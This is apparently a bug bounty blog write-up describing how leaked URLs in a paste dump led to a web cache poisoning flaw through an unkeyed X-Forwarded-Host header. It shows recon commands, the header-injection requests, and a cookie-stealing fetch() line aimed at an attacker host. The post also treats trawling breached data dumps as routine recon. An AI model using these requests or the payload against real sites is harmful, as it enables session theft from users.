Hey there!😁

(A Random Paste Leak That Turned Into a Critical Bug)

At around 2 AM, normal people are sleeping. Developers are probably debugging something.

And bug bounty hunters?

We are usually doing very questionable things, like reading random paste dumps on the internet and convincing ourselves it's "recon work." 😅

Some people scroll through Instagram before bed. I scroll through credential dumps and leaked configs hoping one of them accidentally reveals something interesting.

Most nights it's just garbage data.

But one night… a single paste dump turned into one of the most interesting bugs I've ever reported.

And it all started with a messy block of leaked text.

🌑 Where the Story Actually Started

During one of my usual recon sessions, I was checking several paste aggregation sites where leaked data often gets reposted.

These dumps usually come from:

• compromised developer machines
• accidental Git commits
• breached SaaS tools
• internal logs getting exposed

Most dumps are useless.

But sometimes… they contain infrastructure hints.

One paste caught my eye.

Not because of credentials.

But because of URLs.

dev_email: dev_ops@targetcorp.com
environment: uat
api_endpoint=https://api-uat.targetcorp.com/v3/
cdn=https://cdn-cache.targetcorp.com/
assets=https://assets.targetcorp.com/
jwt_secret=*********

Most hunters would probably focus on the credentials.

But honestly, passwords change.

Infrastructure rarely changes quickly.

And infrastructure is where attack surfaces hide.

🔎 Extracting Recon Clues from the Leak

So I did something simple.

I extracted every domain and endpoint mentioned in the dump.

api-uat.targetcorp.com
cdn-cache.targetcorp.com
assets.targetcorp.com
internal-v3.targetcorp.com

Then I started expanding the attack surface.

Subdomain Enumeration

subfinder -d targetcorp.com -all -silent | tee subs.txt

Then verifying live hosts:

httpx -l subs.txt -silent -title -status-code -tech-detect

Most hosts looked boring.

But one domain immediately looked interesting:

cdn-cache.targetcorp.com

CDN infrastructure is always worth investigating.

Because caching layers can introduce very strange security issues.

🧪 Fingerprinting the Infrastructure

First step: understand what sits behind the endpoint.

curl -I https://cdn-cache.targetcorp.com

Response headers:

Server: nginx
Via: varnish
X-Cache: MISS
X-Cache-Hits: 0
Age: 0

That told me a lot already.

The request flow likely looked like this:

User → CDN → Varnish Cache → Backend API

Whenever a caching layer sits between the user and the backend, I start thinking about one thing:

Cache poisoning.

🔎 Finding a Cacheable Endpoint

Now I needed to locate an endpoint that was actually cached.

So I started fuzzing common API routes.

ffuf -u https://cdn-cache.targetcorp.com/FUZZ \
-w api-endpoints.txt

After some enumeration I found this endpoint:

/v3/products/list

Testing the headers:

curl -I https://cdn-cache.targetcorp.com/v3/products/list

Response:

Cache-Control: public
X-Cache: HIT
Age: 187

That confirmed something important.

The response was being cached for public users.

This was a good sign.

⚙️ Understanding the Cache Behavior

Next step was to understand what affects the cache key.

I started testing parameter variations.

First request:

https://cdn-cache.targetcorp.com/v3/products/list?region=us

Second request:

https://cdn-cache.targetcorp.com/v3/products/list?region=us&utm_source=test

Both returned:

X-Cache: HIT

Meaning tracking parameters were ignored in the cache key.

Interesting… but not enough yet.

Then I moved on to something more interesting.

🧨 Testing Header Manipulation

Certain headers sometimes influence backend logic but are ignored by cache keys.

Some good candidates:

X-Forwarded-Host
X-Host
X-Original-URL
X-Rewrite-URL

So I tested one of them.

curl https://cdn-cache.targetcorp.com/v3/products/list \
-H "X-Forwarded-Host: attacker-domain.com"

The response contained something strange.

Inside the JSON response:

"https://attacker-domain.com/assets/products/image1.png"

That immediately raised a red flag.

The backend was building asset URLs dynamically using the X-Forwarded-Host header.

But the caching layer was not including that header in the cache key.

That combination can lead to cache poisoning.

💣 Crafting the Poisoned Response

Now I tried a more controlled request.

GET /v3/products/list HTTP/1.1
Host: cdn-cache.targetcorp.com
X-Forwarded-Host: attacker-domain.com

The backend generated this response:

{
 "image_url":"https://attacker-domain.com/product.png"
}

Because the endpoint was public and cacheable:

Cache-Control: public

The response was stored in the cache.

Now the real test.

I sent a normal request with no special headers.

curl https://cdn-cache.targetcorp.com/v3/products/list

Response:

image_url: https://attacker-domain.com/product.png

That confirmed it.

The poisoned response was now being served to normal users.

⚠️ Turning It Into a Real Impact

Cache poisoning alone is interesting.

But impact matters in bug bounty reports.

So I pushed the test further.

Instead of serving a harmless image from my domain, I hosted a resource designed to demonstrate client-side data exfiltration.

Example payload logic:

fetch("https://attacker-server.com/log?data="+document.cookie)

If the frontend trusted the asset source, it would load the resource from my domain.

Which meant:

• user sessions could be exposed
• API tokens could be captured
• authenticated requests could be hijacked

This clearly demonstrated high-impact exploitation potential.

🌑 The Dark Web Angle

Later I traced the paste dump further.

Turns out it likely originated from a developer environment leak after a small internal breach.

This is actually very common.

When breaches happen, attackers often dump:

• API endpoints
• staging domains
• infrastructure URLs
• config files

These dumps often get reposted across multiple paste platforms.

And once they become public, anyone doing recon can find them.

Including bug bounty hunters.

📊 Why the Bug Was Considered Critical

The vulnerability allowed:

• Cache poisoning
• Injection of attacker-controlled assets
• Potential session theft
• Content manipulation for all users

Root cause was simple:

Unkeyed header (X-Forwarded-Host) influencing cached responses

🛠 Tools Used During the Investigation

Nothing fancy.

Just the usual recon stack:

subfinder
httpx
ffuf
curl
Burp Suite

Sometimes simple tools + curiosity are enough.

The Final Result

After writing the report and submitting a clear proof of concept, the security team reproduced the issue.

They eventually fixed it by updating their caching configuration and properly validating forwarded headers.

And a few weeks later…

The notification arrived.

Bounty paid.

All because of a random paste dump I almost ignored.

🎯 Final Recon Lesson

When hunting for bugs, most people start with the target website.

But sometimes the real attack surface starts outside the target.

Leaks.

Paste dumps.

Developer configs.

Old logs.

Those tiny pieces of exposed information can reveal entire hidden infrastructures.

And sometimes…

One messy paste dump is all it takes to turn recon into a critical . 🚀

Connect with Me!

• Instagram: @rev_shinchan
• Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF